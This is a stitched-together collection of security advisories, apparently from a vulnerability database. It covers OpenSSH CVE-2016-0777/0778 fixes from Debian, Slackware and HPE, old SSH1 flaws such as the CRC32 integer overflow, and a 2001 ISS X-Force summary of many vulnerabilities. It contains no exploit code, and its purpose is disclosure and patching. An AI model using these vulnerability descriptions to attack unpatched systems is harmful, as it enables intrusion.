(options.rekey_limit || options.rekey_interval)\n \t\tpacket_set_rekey_limits((u_int32_t)options.rekey_limit,\n. \n\nUsers with passphrase-less privates keys, especially in non interactive\nsetups (automated jobs using ssh, scp, rsync+ssh etc.) are advised to\nupdate their keys if they have connected to an SSH server they don\u0027t\ntrust. \n\nMore details about identifying an attack and mitigations will be\navailable in the Qualys Security Advisory. \n\nFor the oldstable distribution (wheezy), these problems have been fixed\nin version 1:6.0p1-4+deb7u3. \n\nFor the stable distribution (jessie), these problems have been fixed in\nversion 1:6.7p1-5+deb8u1. \n\nFor the testing distribution (stretch) and unstable distribution (sid), these\nproblems will be fixed in a later version. \n\nWe recommend that you upgrade your openssh packages. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA1\n\n[slackware-security]  openssh (SSA:2016-014-01)\n\nNew openssh packages are available for Slackware 13.0, 13.1, 13.37, 14.0, 14.1,\nand -current to fix security issues. \n\n\nHere are the details from the Slackware 14.1 ChangeLog:\n+--------------------------+\npatches/packages/openssh-7.1p2-i486-1_slack14.1.txz:  Upgraded. \n  This update fixes an information leak and a buffer overflow. \n  For more information, see:\n    https://www.qualys.com/2016/01/14/cve-2016-0777-cve-2016-0778/openssh-cve-2016-0777-cve-2016-0778.txt\n    http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0777\n    http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0778\n  *****************************************************************\n  * IMPORTANT:  READ BELOW ABOUT POTENTIALLY INCOMPATIBLE CHANGES *\n  *****************************************************************\n  Rather than backport the fix for the information leak (which is the only\n  hazardous flaw), we have upgraded to the latest OpenSSH.  As of version\n  7.0, OpenSSH has deprecated some older (and presumably less secure)\n  algorithms, and also (by default) only allows root login by public-key,\n  hostbased and GSSAPI authentication.  Make sure that your keys and\n  authentication method will allow you to continue accessing your system\n  after the upgrade. \n  The release notes for OpenSSH 7.0 list the following incompatible changes\n  to be aware of:\n  * Support for the legacy SSH version 1 protocol is disabled by\n    default at compile time. \n  * Support for the 1024-bit diffie-hellman-group1-sha1 key exchange\n    is disabled by default at run-time. It may be re-enabled using\n    the instructions at http://www.openssh.com/legacy.html\n  * Support for ssh-dss, ssh-dss-cert-* host and user keys is disabled\n    by default at run-time. These may be re-enabled using the\n    instructions at http://www.openssh.com/legacy.html\n  * Support for the legacy v00 cert format has been removed. \n  * The default for the sshd_config(5) PermitRootLogin option has\n    changed from \"yes\" to \"prohibit-password\". \n  * PermitRootLogin=without-password/prohibit-password now bans all\n    interactive authentication methods, allowing only public-key,\n    hostbased and GSSAPI authentication (previously it permitted\n    keyboard-interactive and password-less authentication if those\n    were enabled). \n  (* Security fix *)\n+--------------------------+\n\n\nWhere to find the new packages:\n+-----------------------------+\n\nThanks to the friendly folks at the OSU Open Source Lab\n(http://osuosl.org) for donating FTP and rsync hosting\nto the Slackware project!  :-)\n\nAlso see the \"Get Slack\" section on http://slackware.com for\nadditional mirror sites near you. \n\nUpdated package for Slackware 13.0:\nftp://ftp.slackware.com/pub/slackware/slackware-13.0/patches/packages/openssh-7.1p2-i486-1_slack13.0.txz\n\nUpdated package for Slackware x86_64 13.0:\nftp://ftp.slackware.com/pub/slackware/slackware64-13.0/patches/packages/openssh-7.1p2-x86_64-1_slack13.0.txz\n\nUpdated package for Slackware 13.1:\nftp://ftp.slackware.com/pub/slackware/slackware-13.1/patches/packages/openssh-7.1p2-i486-1_slack13.1.txz\n\nUpdated package for Slackware x86_64 13.1:\nftp://ftp.slackware.com/pub/slackware/slackware64-13.1/patches/packages/openssh-7.1p2-x86_64-1_slack13.1.txz\n\nUpdated package for Slackware 13.37:\nftp://ftp.slackware.com/pub/slackware/slackware-13.37/patches/packages/openssh-7.1p2-i486-1_slack13.37.txz\n\nUpdated package for Slackware x86_64 13.37:\nftp://ftp.slackware.com/pub/slackware/slackware64-13.37/patches/packages/openssh-7.1p2-x86_64-1_slack13.37.txz\n\nUpdated package for Slackware 14.0:\nftp://ftp.slackware.com/pub/slackware/slackware-14.0/patches/packages/openssh-7.1p2-i486-1_slack14.0.txz\n\nUpdated package for Slackware x86_64 14.0:\nftp://ftp.slackware.com/pub/slackware/slackware64-14.0/patches/packages/openssh-7.1p2-x86_64-1_slack14.0.txz\n\nUpdated package for Slackware 14.1:\nftp://ftp.slackware.com/pub/slackware/slackware-14.1/patches/packages/openssh-7.1p2-i486-1_slack14.1.txz\n\nUpdated package for Slackware x86_64 14.1:\nftp://ftp.slackware.com/pub/slackware/slackware64-14.1/patches/packages/openssh-7.1p2-x86_64-1_slack14.1.txz\n\nUpdated package for Slackware -current:\nftp://ftp.slackware.com/pub/slackware/slackware-current/slackware/n/openssh-7.1p2-i586-1.txz\n\nUpdated package for Slackware x86_64 -current:\nftp://ftp.slackware.com/pub/slackware/slackware64-current/slackware64/n/openssh-7.1p2-x86_64-1.txz\n\n\nMD5 signatures:\n+-------------+\n\nSlackware 13.0 package:\n856dd9c1b10641c282f30a34b7b63bea  openssh-7.1p2-i486-1_slack13.0.txz\n\nSlackware x86_64 13.0 package:\n80903b0829f0284d007e7a316f2ff2da  openssh-7.1p2-x86_64-1_slack13.0.txz\n\nSlackware 13.1 package:\n2095d1a304a94bab44993fdb7e0781c8  openssh-7.1p2-i486-1_slack13.1.txz\n\nSlackware x86_64 13.1 package:\n5bf653d7f5b4a9426ff2c5888af99f00  openssh-7.1p2-x86_64-1_slack13.1.txz\n\nSlackware 13.37 package:\n53e09b4371c045b9de1c86e0826324f9  openssh-7.1p2-i486-1_slack13.37.txz\n\nSlackware x86_64 13.37 package:\ncd0319ff3c574c50612d5ba2b38f2fdc  openssh-7.1p2-x86_64-1_slack13.37.txz\n\nSlackware 14.0 package:\n98cdc1d6ffea2a06d0c8013078681bff  openssh-7.1p2-i486-1_slack14.0.txz\n\nSlackware x86_64 14.0 package:\n2093f3e91a79e07f072c702a1704be73  openssh-7.1p2-x86_64-1_slack14.0.txz\n\nSlackware 14.1 package:\nd051d9f31cd380436ad01fa1641be1c7  openssh-7.1p2-i486-1_slack14.1.txz\n\nSlackware x86_64 14.1 package:\nf1f81757431c3c836f06ce5d22e2d5de  openssh-7.1p2-x86_64-1_slack14.1.txz\n\nSlackware -current package:\n70db20c5e4152bc9967b1e24cf91ed98  n/openssh-7.1p2-i586-1.txz\n\nSlackware x86_64 -current package:\ne13dc3da27f817bee693fbb907015817  n/openssh-7.1p2-x86_64-1.txz\n\n\nInstallation instructions:\n+------------------------+\n\nUpgrade the package as root:\n# upgradepkg openssh-7.1p2-i486-1_slack14.1.txz\n\nNext, restart the sshd daemon:\n# sh /etc/rc.d/rc.sshd restart\n\nThen before logging out, make sure that you still have remote access!\nSee the information about incompatible changes in OpenSSH 7.x above. \n\n\n+-----+\n\nSlackware Linux Security Team\nhttp://slackware.com/gpg-key\nsecurity@slackware.com\n\n+------------------------------------------------------------------------+\n| To leave the slackware-security mailing list:                          |\n+------------------------------------------------------------------------+\n| Send an email to majordomo@slackware.com with this text in the body of |\n| the email message:                                                     |\n|                                                                        |\n|   unsubscribe slackware-security                                       |\n|                                                                        |\n| You will get a confirmation message back containing instructions to    |\n| complete the process.  Please do not reply to this email address.      |\n+------------------------------------------------------------------------+\n-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niEYEARECAAYFAlaYWioACgkQakRjwEAQIjOwpACfXviFRy4mQxr63HyYu9zLgZ+Z\ndVsAn0sLTJYcXuCSQYnXNp+FYuIKWjVh\n=dePf\n-----END PGP SIGNATURE-----\n. \n-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA1\n\nNote: the current version of the following document is available here:\nhttps://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-c05247375\n\nSUPPORT COMMUNICATION - SECURITY BULLETIN\n\nDocument ID: c05247375\nVersion: 1\n\nHPSBGN03638 rev.1 - HPE Remote Device Access: Virtual Customer Access System\n(vCAS) using lighttpd and OpenSSH, Unauthorized Modification of Information,\nRemote Denial of Service (DoS), Remote Disclosure of Information\n\nNOTICE: The information in this Security Bulletin should be acted upon as\nsoon as possible. \n\nRelease Date: 2016-08-29\nLast Updated: 2016-08-29\n\nPotential Security Impact: Remote Denial of Service (DoS), Disclosure of\nInformation, Unauthorized Modification Of Information\n\nSource: Hewlett Packard Enterprise, Product Security Response Team\n\nVULNERABILITY SUMMARY\nPotential vulnerabilities have been identified in the lighttpd and OpenSSH\nversion used in HPE Remote Device Access: Virtual Customer Access System\n(vCAS). These vulnerabilities could be exploited remotely resulting in\nunauthorized modification of information, denial of service (DoS), and\ndisclosure of information. \n\nReferences:\n\nCVE-2015-3200\nCVE-2016-0777\nCVE-2016-0778\nPSRT110211\n\nSUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed. \nHPE Remote Device Access: Virtual Customer Access System (vCAS) - v15.07 (RDA\n8.1) and earlier. \n\nBACKGROUND\n\n  CVSS Base Metrics\n  =================\n  Reference, CVSS V3 Score/Vector, CVSS V2 Score/Vector\n\n    CVE-2015-3200\n      5.3 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N\n      5.0 (AV:N/AC:L/Au:N/C:N/I:P/A:N)\n\n    CVE-2016-0777\n      6.5 CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N\n      4.0 (AV:N/AC:L/Au:S/C:P/I:N/A:N)\n\n    CVE-2016-0778\n      9.8 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n      6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P)\n\n    Information on CVSS is documented in\n    HPE Customer Notice HPSN-2008-002 here:\n\nhttps://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-c01345499\n\nRESOLUTION\n\nHPE has made the following updates available to resolve the vulnerabilities\nin Remote Device Access: Virtual Customer Access System (vCAS)\n\nvCAS 16.05 (RDA 8.7) kits - hp-rdacas-16.05-10482-vbox.ova and\nhp-rdacas-16.05-10482.ova. \n\nThe Oracle VirtualBox kit is available at:\nhttps://h20529.www2.hpe.com/apt/hp-rdacas-16.05-10482-vbox.ova\n\nThe VMware ESX(i) and VMware Player kit is available at:\nhttps://h20529.www2.hpe.com/apt/hp-rdacas-16.05-10482.ova\n\nHISTORY\nVersion:1 (rev.1) - 29 August 2016 Initial release\n\nThird Party Security Patches: Third party security patches that are to be\ninstalled on systems running Hewlett Packard Enterprise (HPE) software\nproducts should be applied in accordance with the customer\u0027s patch management\npolicy. \n\nSupport: For issues about implementing the recommendations of this Security\nBulletin, contact normal HPE Services support channel. For other issues about\nthe content of this Security Bulletin, send e-mail to security-alert@hpe.com. \n\nReport: To report a potential security vulnerability for any HPE supported\nproduct:\n  Web form: https://www.hpe.com/info/report-security-vulnerability\n  Email: security-alert@hpe.com\n\nSubscribe: To initiate a subscription to receive future HPE Security Bulletin\nalerts via Email: http://www.hpe.com/support/Subscriber_Choice\n\nSecurity Bulletin Archive: A list of recently released Security Bulletins is\navailable here: http://www.hpe.com/support/Security_Bulletin_Archive\n\nSoftware Product Category: The Software Product Category is represented in\nthe title by the two characters following HPSB. \n\n3C = 3COM\n3P = 3rd Party Software\nGN = HPE General Software\nHF = HPE Hardware and Firmware\nMU = Multi-Platform Software\nNS = NonStop Servers\nOV = OpenVMS\nPV = ProCurve\nST = Storage Software\nUX = HP-UX\n\nCopyright 2016 Hewlett Packard Enterprise\n\nHewlett Packard Enterprise shall not be liable for technical or editorial\nerrors or omissions contained herein. The information provided is provided\n\"as is\" without warranty of any kind. To the extent permitted by law, neither\nHP or its affiliates, subcontractors or suppliers will be liable for\nincidental,special or consequential damages including downtime cost; lost\nprofits; damages relating to the procurement of substitute products or\nservices; or damages for loss of data, or software restoration. The\ninformation in this document is subject to change without notice. Hewlett\nPackard Enterprise and the names of Hewlett Packard Enterprise products\nreferenced herein are trademarks of Hewlett Packard Enterprise in the United\nStates and other countries. Other product and company names mentioned herein\nmay be trademarks of their respective owners",
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VAR-200106-0080

Vulnerability from variot - Updated: 2024-07-23 19:26

Implementations of SSH version 1.5, including (1) OpenSSH up to version 2.3.0, (2) AppGate, and (3) ssh-1 up to version 1.2.31, in certain configurations, allow a remote attacker to decrypt and/or alter traffic via a "Bleichenbacher attack" on PKCS#1 version 1.5. An implementation problem in at least one Secure Shell (SSH) product and a weakness in the PKCS#1_1.5 public key encryption standard allows attackers to recover plaintext of messages encrypted with SSH. Multiple Cisco networking products contain a denial-of-service vulnerability. There is an information integrity vulnerability in the SSH1 protocol that allows packets encrypted with a block cipher to be modified without notice. There is a remote integer overflow vulnerability in several implementations of the SSH1 protocol that allows an attacker to execute arbitrary code with the privileges of the SSH daemon, typically root. The program pgp4pine version 1.75.6 fails to properly identify expired keys when working with the Gnu Privacy Guard program (GnuPG). This failure may result in the clear-text transmission of senstive information when used with the PINE mail reading package. The SEDUM web server permits intruders to access files outside the web root. SSH or code based on SSH is used by many systems all over the world and in a wide variety of commercial applications. An integer-overflow bug in the CRC32 compensation attack detection code may allow remote attackers to write values to arbitrary locations in memory. This would occur in situations where large SSH packets are recieved by either a client or server, and a 32 bit representation of the SSH packet length is assigned to a 16 bit integer. The difference in data representation in these situations will cause the 16 bit variable to be assigned to zero (or a really low value). As a result, future calls to malloc() as well as an index used to reference locations in memory can be corrupted by an attacker. This could occur in a manner that can be exploited to write certain numerical values to almost arbitrary locations in memory. UPDATE: There have been reports suggesting that exploitation of this vulnerability may be widespread. Since early september, independent, reliable sources have confirmed that this vulnerability is being exploited by attackers on the Internet. Security Focus does not currently have the exploit code being used, however this record will be updated if and when it becomes available. NOTE: Cisco 11000 Content Service Switch family is vulnerable to this issue. All WebNS releases prior, but excluding, versions: 4.01 B42s, 4.10 22s, 5.0 B11s, 5.01 B6s, are vulnerable. Secure Computing SafeWord Agent for SSH is reportedly prone to this issue, as it is based on a vulnerable version of SSH. ** NetScreen ScreenOS is not directly vulnerable to this issue, however the referenced exploit will cause devices using vulnerable versions of the software to stop functioning properly. This will result in a denial of service condition for NetScreen devices. This issue is in the Secure Command Shell (SCS) administrative interface, which is an implementation of SSHv1. SCS is not enabled on NetScreen devices by default. The data encryption techniques described in RSA's PKCS #1 standard are used in many protocols which rely on, at least in part, the security provided by public-key cryptography systems. Several protocols which implement the digital enveloping method described in version 1.5 of the PKCS #1 standard are susceptible to an adaptive ciphertext attack which may allow the recovery of session keys, thus compromising the integrity of the data transmitting during that session. By capturing and logging the packets transmitted between a client and a server, an opponent could make use of a captured encrypted session key to launch a Bleichenbacher attack together with a simple timing attack. If the session key is successfully decrypted, the saved packets can easily be decrypted in a uniform manner. Interactive key establishment protocols, such as SSH or SSL, are generally significantly more susceptible to successful attacks. Cisco has reported that scanning for SSH vulnerabilities on affected devices will cause excessive CPU consumption. The condition is due to a failure of the Cisco SSH implementation to properly process large SSH packets. As many of these devices are critical infrastructure components, more serious network outages may occur. Cisco has released upgrades that will eliminate this vulnerability. An expired public key could cause GPG to fail the encryption of an outgoing message, without any error message or warning being delivered to the user. As a result, the user could transmit data, meant to be encrypted, as plaintext. TO UNSUBSCRIBE: email "unsubscribe alert" in the body of your message to majordomo@iss.net Contact alert-owner@iss.net for help with any problems!

-----BEGIN PGP SIGNED MESSAGE-----

ISS X-Force has received reports that some individuals were unable to verify the PGP signature on the Security Alert Summary distributed earlier in the week. Due to this issue, X-Force is re-distributing the Security Alert Summary. We apologize for any inconvience this may have caused.

Internet Security Systems Security Alert Summary March 5, 2001 Volume 6 Number 4

X-Force Vulnerability and Threat Database: http://xforce.iss.net/ To receive these Alert Summaries as well as other Alerts and Advisories, subscribe to the Internet Security Systems Alert mailing list at: http://xforce.iss.net/maillists/index.php

This summary can be found at http://xforce.iss.net/alerts/vol-6_num-4.php

Contents

90 Reported Vulnerabilities

Risk Factor Key

Date Reported: 2/27/01 Vulnerability: a1-server-dos Platforms Affected: A1 Server Risk Factor: Medium Attack Type: Network Based Brief Description: A1 Server denial of service X-Force URL: http://xforce.iss.net/static/6161.php

Date Reported: 2/27/01 Vulnerability: a1-server-directory-traversal Platforms Affected: A1 Server Risk Factor: Medium Attack Type: Network Based Brief Description: A1 Server directory traversal X-Force URL: http://xforce.iss.net/static/6162.php

Date Reported: 2/27/01 Vulnerability: webreflex-web-server-dos Platforms Affected: WebReflex Risk Factor: Medium Attack Type: Network Based Brief Description: WebReflex Web server denial of service X-Force URL: http://xforce.iss.net/static/6163.php

Date Reported: 2/26/01 Vulnerability: sudo-bo-elevate-privileges Platforms Affected: Sudo Risk Factor: Medium Attack Type: Host Based Brief Description: Sudo buffer overflow could allow elevated user privileges X-Force URL: http://xforce.iss.net/static/6153.php

Date Reported: 2/26/01 Vulnerability: mygetright-skin-overwrite-file Platforms Affected: My GetRight Risk Factor: High Attack Type: Network Based Brief Description: My GetRight 'skin' allows remote attacker to overwrite existing files X-Force URL: http://xforce.iss.net/static/6155.php

Date Reported: 2/26/01 Vulnerability: mygetright-directory-traversal Platforms Affected: My GetRight Risk Factor: Medium Attack Type: Network Based Brief Description: My GetRight directory traversal X-Force URL: http://xforce.iss.net/static/6156.php

Date Reported: 2/26/01 Vulnerability: win2k-event-viewer-bo Platforms Affected: Windows 2000 Risk Factor: once-only Attack Type: Host Based Brief Description: Windows 2000 event viewer buffer overflow X-Force URL: http://xforce.iss.net/static/6160.php

Date Reported: 2/26/01 Vulnerability: netscape-collabra-cpu-dos Platforms Affected: Netscape Risk Factor: Medium Attack Type: Network Based Brief Description: Netscape Collabra CPU denial of service X-Force URL: http://xforce.iss.net/static/6159.php

Date Reported: 2/26/01 Vulnerability: netscape-collabra-kernel-dos Platforms Affected: Netscape Risk Factor: Medium Attack Type: Network Based Brief Description: Netscape Collabra Server kernel denial of service X-Force URL: http://xforce.iss.net/static/6158.php

Date Reported: 2/23/01 Vulnerability: mercur-expn-bo Platforms Affected: MERCUR Risk Factor: High Attack Type: Network Based Brief Description: MERCUR Mailserver EXPN buffer overflow X-Force URL: http://xforce.iss.net/static/6149.php

Date Reported: 2/23/01 Vulnerability: sedum-http-dos Platforms Affected: SEDUM Risk Factor: Medium Attack Type: Network Based Brief Description: SEDUM HTTP server denial of service X-Force URL: http://xforce.iss.net/static/6152.php

Date Reported: 2/23/01 Vulnerability: tru64-inetd-dos Platforms Affected: Tru64 Risk Factor: Medium Attack Type: Host Based Brief Description: Tru64 UNIX inetd denial of service X-Force URL: http://xforce.iss.net/static/6157.php

Date Reported: 2/22/01 Vulnerability: outlook-vcard-bo Platforms Affected: Microsoft Outlook Risk Factor: High Attack Type: Host Based Brief Description: Outlook and Outlook Express vCards buffer overflow X-Force URL: http://xforce.iss.net/static/6145.php

Date Reported: 2/22/01 Vulnerability: ultimatebb-cookie-member-number Platforms Affected: Ultimate Bulletin Board Risk Factor: High Attack Type: Network Based Brief Description: Ultimate Bulletin Board cookie allows attacker to change member number X-Force URL: http://xforce.iss.net/static/6144.php

Date Reported: 2/21/01 Vulnerability: ultimatebb-cookie-gain-privileges Platforms Affected: Ultimate Bulletin Board Risk Factor: Medium Attack Type: Network Based Brief Description: Ultimate Bulletin Board allows remote attacker to obtain cookie information X-Force URL: http://xforce.iss.net/static/6142.php

Date Reported: 2/21/01 Vulnerability: sendmail-elevate-privileges Platforms Affected: Sendmail Risk Factor: High Attack Type: Host Based Brief Description: Sendmail -bt command could allow the elevation of privileges X-Force URL: http://xforce.iss.net/static/6147.php

Date Reported: 2/21/01 Vulnerability: jre-jdk-execute-commands Platforms Affected: JRE/JDK Risk Factor: High Attack Type: Host Based Brief Description: JRE/JDK could allow unauthorized execution of commands X-Force URL: http://xforce.iss.net/static/6143.php

Date Reported: 2/20/01 Vulnerability: licq-remote-port-dos Platforms Affected: LICQ Risk Factor: Medium Attack Type: Network Based Brief Description: LICQ remote denial of service X-Force URL: http://xforce.iss.net/static/6134.php

Date Reported: 2/20/01 Vulnerability: pgp4pine-expired-keys Platforms Affected: pgp4pine Risk Factor: Medium Attack Type: Host Based Brief Description: pgp4pine may transmit messages using expired public keys X-Force URL: http://xforce.iss.net/static/6135.php

Date Reported: 2/20/01 Vulnerability: chilisoft-asp-view-files Platforms Affected: Chili!Soft ASP Risk Factor: High Attack Type: Network Based Brief Description: Chili!Soft ASP allows remote attackers to gain access to sensitive information X-Force URL: http://xforce.iss.net/static/6137.php

Date Reported: 2/20/01 Vulnerability: win2k-domain-controller-dos Platforms Affected: Windows 2000 Risk Factor: once-only Attack Type: Network/Host Based Brief Description: Windows 2000 domain controller denial of service X-Force URL: http://xforce.iss.net/static/6136.php

Date Reported: 2/19/01 Vulnerability: asx-remote-dos Platforms Affected: ASX Switches Risk Factor: Medium Attack Type: Network Based Brief Description: ASX switches allow remote denial of service X-Force URL: http://xforce.iss.net/static/6133.php

Date Reported: 2/18/01 Vulnerability: http-cgi-mailnews-username Platforms Affected: Mailnews.cgi Risk Factor: High Attack Type: Network Based Brief Description: Mailnews.cgi allows remote attacker to execute shell commands using username X-Force URL: http://xforce.iss.net/static/6139.php

Date Reported: 2/17/01 Vulnerability: badblue-ext-reveal-path Platforms Affected: BadBlue Risk Factor: Low Attack Type: Network Based Brief Description: BadBlue ext.dll library reveals path X-Force URL: http://xforce.iss.net/static/6130.php

Date Reported: 2/17/01 Vulnerability: badblue-ext-dos Platforms Affected: BadBlue Risk Factor: Medium Attack Type: Network Based Brief Description: BadBlue ext.dll library denial of service X-Force URL: http://xforce.iss.net/static/6131.php

Date Reported: 2/17/01 Vulnerability: moby-netsuite-bo Platforms Affected: Moby's NetSuite Risk Factor: Medium Attack Type: Network Based Brief Description: Moby's NetSuite Web server buffer overflow X-Force URL: http://xforce.iss.net/static/6132.php

Date Reported: 2/16/01 Vulnerability: webactive-directory-traversal Platforms Affected: WEBactive Risk Factor: Medium Attack Type: Network/Host Based Brief Description: WEBactive HTTP Server directory traversal X-Force URL: http://xforce.iss.net/static/6121.php

Date Reported: 2/16/01 Vulnerability: esone-cgi-directory-traversal Platforms Affected: ES.One store.cgi Risk Factor: Medium Attack Type: Network Based Brief Description: Thinking Arts ES.One store.cgi directory traversal X-Force URL: http://xforce.iss.net/static/6124.php

Date Reported: 2/16/01 Vulnerability: vshell-username-bo Platforms Affected: VShell Risk Factor: High Attack Type: Network Based Brief Description: VShell username buffer overflow X-Force URL: http://xforce.iss.net/static/6146.php

Date Reported: 2/16/01 Vulnerability: vshell-port-forwarding-rule Platforms Affected: VShell Risk Factor: Medium Attack Type: Network/Host Based Brief Description: VShell uses weak port forwarding rule X-Force URL: http://xforce.iss.net/static/6148.php

Date Reported: 2/15/01 Vulnerability: pi3web-isapi-bo Platforms Affected: Pi3Web Risk Factor: Medium Attack Type: Network/Host Based Brief Description: Pi3Web ISAPI tstisapi.dll denial of service X-Force URL: http://xforce.iss.net/static/6113.php

Date Reported: 2/15/01 Vulnerability: pi3web-reveal-path Platforms Affected: Pi3Web Risk Factor: Low Attack Type: Network Based Brief Description: Pi3Web reveals physical path of server X-Force URL: http://xforce.iss.net/static/6114.php

Date Reported: 2/15/01 Vulnerability: bajie-execute-shell Platforms Affected: Bajie HTTP JServer Risk Factor: High Attack Type: Network Based Brief Description: Bajie HTTP JServer execute shell commands X-Force URL: http://xforce.iss.net/static/6117.php

Date Reported: 2/15/01 Vulnerability: bajie-directory-traversal Platforms Affected: Bajie HTTP JServer Risk Factor: High Attack Type: Network Based Brief Description: Bajie HTTP JServer directory traversal X-Force URL: http://xforce.iss.net/static/6115.php

Date Reported: 2/15/01 Vulnerability: resin-directory-traversal Platforms Affected: Resin Risk Factor: Medium Attack Type: Network Based Brief Description: Resin Web server directory traversal X-Force URL: http://xforce.iss.net/static/6118.php

Date Reported: 2/15/01 Vulnerability: netware-mitm-recover-passwords Platforms Affected: Netware Risk Factor: Low Attack Type: Network Based Brief Description: Netware "man in the middle" attack password recovery X-Force URL: http://xforce.iss.net/static/6116.php

Date Reported: 2/14/01 Vulnerability: firebox-pptp-dos Platforms Affected: WatchGuard Firebox II Risk Factor: High Attack Type: Network Based Brief Description: WatchGuard Firebox II PPTP denial of service X-Force URL: http://xforce.iss.net/static/6109.php

Date Reported: 2/14/01 Vulnerability: hp-virtualvault-iws-dos Platforms Affected: HP VirtualVault Risk Factor: Medium Attack Type: Network/Host Based Brief Description: HP VirtualVault iPlanet Web Server denial of service X-Force URL: http://xforce.iss.net/static/6110.php

Date Reported: 2/14/01 Vulnerability: kicq-execute-commands Platforms Affected: KICQ Risk Factor: High Attack Type: Network Based Brief Description: kicq could allow remote execution of commands X-Force URL: http://xforce.iss.net/static/6112.php

Date Reported: 2/14/01 Vulnerability: hp-text-editor-bo Platforms Affected: HPUX Risk Factor: Medium Attack Type: Host Based Brief Description: HP Text editors buffer overflow X-Force URL: http://xforce.iss.net/static/6111.php

Date Reported: 2/13/01 Vulnerability: sendtemp-pl-read-files Platforms Affected: sendtemp.pl Risk Factor: Medium Attack Type: Network/Host Based Brief Description: sendtemp.pl could allow an attacker to read files on the server X-Force URL: http://xforce.iss.net/static/6104.php

Date Reported: 2/13/01 Vulnerability: analog-alias-bo Platforms Affected: Analog ALIAS Risk Factor: Medium Attack Type: Network/Host Based Brief Description: Analog ALIAS command buffer overflow X-Force URL: http://xforce.iss.net/static/6105.php

Date Reported: 2/13/01 Vulnerability: elm-long-string-bo Platforms Affected: Elm Risk Factor: Medium Attack Type: Host Based Brief Description: ELM -f command long string buffer overflow X-Force URL: http://xforce.iss.net/static/6151.php

Date Reported: 2/13/01 Vulnerability: winnt-pptp-dos Platforms Affected: Windows NT Risk Factor: Medium Attack Type: Network Based Brief Description: Windows NT PPTP denial of service X-Force URL: http://xforce.iss.net/static/6103.php

Date Reported: 2/12/01 Vulnerability: startinnfeed-format-string Platforms Affected: Inn Risk Factor: High Attack Type: Host Based Brief Description: Inn 'startinnfeed' binary format string attack X-Force URL: http://xforce.iss.net/static/6099.php

Date Reported: 2/12/01 Vulnerability: his-auktion-cgi-url Platforms Affected: HIS Auktion Risk Factor: Medium Attack Type: Network/Host Based Brief Description: HIS Auktion CGI script could allow attackers to view unauthorized files or execute commands X-Force URL: http://xforce.iss.net/static/6090.php

Date Reported: 2/12/01 Vulnerability: wayboard-cgi-view-files Platforms Affected: Way-BOARD Risk Factor: Medium Attack Type: Network Based Brief Description: Way-BOARD CGI could allow attackers to view unauthorized files X-Force URL: http://xforce.iss.net/static/6091.php

Date Reported: 2/12/01 Vulnerability: muskat-empower-url-dir Platforms Affected: Musket Empower Risk Factor: Low Attack Type: Network/Host Based Brief Description: Musket Empower could allow attackers to gain access to the DB directory path X-Force URL: http://xforce.iss.net/static/6093.php

Date Reported: 2/12/01 Vulnerability: icq-icu-rtf-dos Platforms Affected: LICQ Gnome ICU Risk Factor: Low Attack Type: Network/Host Based Brief Description: LICQ and Gnome ICU rtf file denial of service X-Force URL: http://xforce.iss.net/static/6096.php

Date Reported: 2/12/01 Vulnerability: commerce-cgi-view-files Platforms Affected: Commerce.cgi Risk Factor: Medium Attack Type: Network Based Brief Description: Commerce.cgi could allow attackers to view unauthorized files X-Force URL: http://xforce.iss.net/static/6095.php

Date Reported: 2/12/01 Vulnerability: roads-search-view-files Platforms Affected: ROADS Risk Factor: Medium Attack Type: Network Based Brief Description: ROADS could allow attackers to view unauthorized files using search.pl program X-Force URL: http://xforce.iss.net/static/6097.php

Date Reported: 2/12/01 Vulnerability: webpage-cgi-view-info Platforms Affected: WebPage.cgi Risk Factor: Low Attack Type: Network Based Brief Description: WebPage.cgi allows attackers to view sensitive information X-Force URL: http://xforce.iss.net/static/6100.php

Date Reported: 2/12/01 Vulnerability: webspirs-cgi-view-files Platforms Affected: WebSPIRS Risk Factor: Medium Attack Type: Network Based Brief Description: WebSPIRS CGI could allow an attacker to view unauthorized files X-Force URL: http://xforce.iss.net/static/6101.php

Date Reported: 2/12/01 Vulnerability: webpals-library-cgi-url Platforms Affected: WebPALS Risk Factor: Medium Attack Type: Network Based Brief Description: WebPALS Library System CGI script could allow attackers to view unauthorized files or execute commands X-Force URL: http://xforce.iss.net/static/6102.php

Date Reported: 2/11/01 Vulnerability: cobol-apptrack-nolicense-permissions Platforms Affected: MicroFocus Cobol Risk Factor: High Attack Type: Host Based Brief Description: MicroFocus Cobol with AppTrack enabled with nolicense permissions X-Force URL: http://xforce.iss.net/static/6092.php

Date Reported: 2/11/01 Vulnerability: cobol-apptrack-nolicense-symlink Platforms Affected: MicroFocus Cobol Risk Factor: High Attack Type: Host Based Brief Description: MicroFocus Cobol with AppTrack enabled allows symlink in nolicense X-Force URL: http://xforce.iss.net/static/6094.php

Date Reported: 2/10/01 Vulnerability: vixie-crontab-bo Platforms Affected: Vixie crontab Risk Factor: Medium Attack Type: Host Based Brief Description: Vixie crontab buffer overflow X-Force URL: http://xforce.iss.net/static/6098.php

Date Reported: 2/10/01 Vulnerability: novell-groupwise-bypass-policies Platforms Affected: Novell GroupWise Risk Factor: Medium Attack Type: Network/Host Based Brief Description: Novell Groupwise allows user to bypass policies and view files X-Force URL: http://xforce.iss.net/static/6089.php

Date Reported: 2/9/01 Vulnerability: infobot-calc-gain-access Platforms Affected: Infobot Risk Factor: High Attack Type: Network Based Brief Description: Infobot 'calc' command allows remote users to gain access X-Force URL: http://xforce.iss.net/static/6078.php

Date Reported: 2/8/01 Vulnerability: linux-sysctl-read-memory Platforms Affected: Linux Risk Factor: Medium Attack Type: Host Based Brief Description: Linux kernel sysctl() read memory X-Force URL: http://xforce.iss.net/static/6079.php

Date Reported: 2/8/01 Vulnerability: openssh-bypass-authentication Platforms Affected: OpenSSH Risk Factor: High Attack Type: Network/Host Based Brief Description: OpenSSH 2.3.1 allows remote users to bypass authentication X-Force URL: http://xforce.iss.net/static/6084.php

